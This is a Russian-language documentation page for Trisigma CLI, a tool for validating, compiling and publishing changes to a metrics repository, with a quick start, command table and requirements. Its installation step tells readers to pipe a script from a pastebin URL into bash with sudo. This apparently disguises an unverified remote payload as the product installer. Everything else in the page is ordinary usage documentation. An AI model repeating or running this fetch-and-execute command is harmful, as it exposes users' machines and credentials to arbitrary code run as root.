Перейти к основному содержимому

Введение

Документация описывает работу с Trisigma CLI. Это инструмент командной строки для управления репозиторием метрик в Trisigma.

О Trisigma CLI​

Trisigma CLI позволяет выполнять следующие действия:

  1. Валидировать изменения в репозиторием метрик локально, до создания PR.
  2. Генерировать и отлаживать SQL-запросы для источников и метрик.
  3. Просматривать списки доступных источников, измерений и метрик.
  4. Автоматически перекомпилировать SQL при изменении файлов (режим watch).
  5. Управлять Git workflow. Создавать ветки, коммитить изменения, публиковать PR.
  6. Получать AI-объяснения ошибок валидации (опционально).

Инструмент направлен на улучшение процессов самообслуживания и прозрачности слоя метрик.

Структура документации​

Документация разделена на следующие разделы.

Настройка Trisigma CLI​

Установка и первый запуск CLI.

  1. Требования и подготовка. Проверка предварительных требований.
  2. Настройка Git и SSH-ключей. Доступ к репозиторию метрик.
  3. Установка Trisigma CLI. Установка пакета.
  4. Первый запуск. Конфигурация и авторизация.

Работа с Trisigma CLI​

Практическое использование CLI в двух режимах.

  1. Интерактивный режим (TUI). Графический интерфейс в терминале.
  2. Командный режим (CLI). Классические команды для автоматизации.
  3. Практические сценарии. Реальные примеры использования.

Дополнительные разделы​

  1. Решение проблем. Типичные проблемы и решения.
  2. FAQ. Часто задаваемые вопросы.

Быстрый старт​

Для опытных пользователей доступен краткий чек-лист.

Установка

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash

Настройка

trisigma init

Клонирование репозитория

Если репозиторий ab-metrics еще не склонирован:

git clone git@github.com:<your-company>/<your-company>_ab_metrics.git ~/projects/ab-metrics
Важно

Если репозиторий уже склонирован, пропустите этот шаг. Подробнее см. Настройка Git и SSH-ключей.

Первая валидация

cd ~/projects/ab-metrics
trisigma sl validate

Генерация SQL

trisigma sl compile --source events

Интерактивный режим

trisigma

Основные концепции​

Два режима работы​

Trisigma CLI поддерживает два способа взаимодействия.

Интерактивный режим (TUI)

Графический интерфейс в терминале для удобной работы.

trisigma

Подходит для аналитиков, исследования репозитория, визуального интерфейса.

Командный режим (CLI)

Классические команды для автоматизации.

trisigma sl validate
trisigma sl compile --source events

Подходит для DevOps, CI/CD, скриптов, опытных пользователей.

Полное описание см. в разделе Работа с Trisigma CLI.

Основные команды​

КомандаОписание
trisigma initНастройка CLI
trisigmaИнтерактивный режим
trisigma sl validateВалидация репозитория
trisigma sl compile -s <source>Генерация SQL для источника
trisigma sl compile -m <metrics>Генерация SQL для метрик
trisigma sl task <AB-1234> "desc"Создание ветки для задачи
trisigma sl save -m "message"Сохранение изменений (commit)
trisigma sl publishПубликация ветки (push + PR)
trisigma sl statusСтатус рабочего процесса
trisigma loginПовторная авторизация
trisigma self-updateОбновление CLI

Полный список команд см. в Командном режиме.

Требования​

  1. Python 3.13 (рекомендуется). Поддерживаются версии 3.9-3.13. Python 3.14 пока не поддерживается.
  2. Git. Для работы с репозиторием.
  3. Доступ к репозиторию метрик. Права на чтение в GitHub.
  4. Доступ к Trisigma API. Домен https://&lt;your-company&gt;-conf.trisigma.io.

Подробнее см. Требования и подготовка.

Поддержка​

Документация​

  1. Решение проблем. Типичные проблемы и решения.
  2. FAQ. Часто задаваемые вопросы.

Контакты​

Trisigma Support Channel для общих вопросов.

Справка в CLI​

trisigma --help
trisigma sl validate --help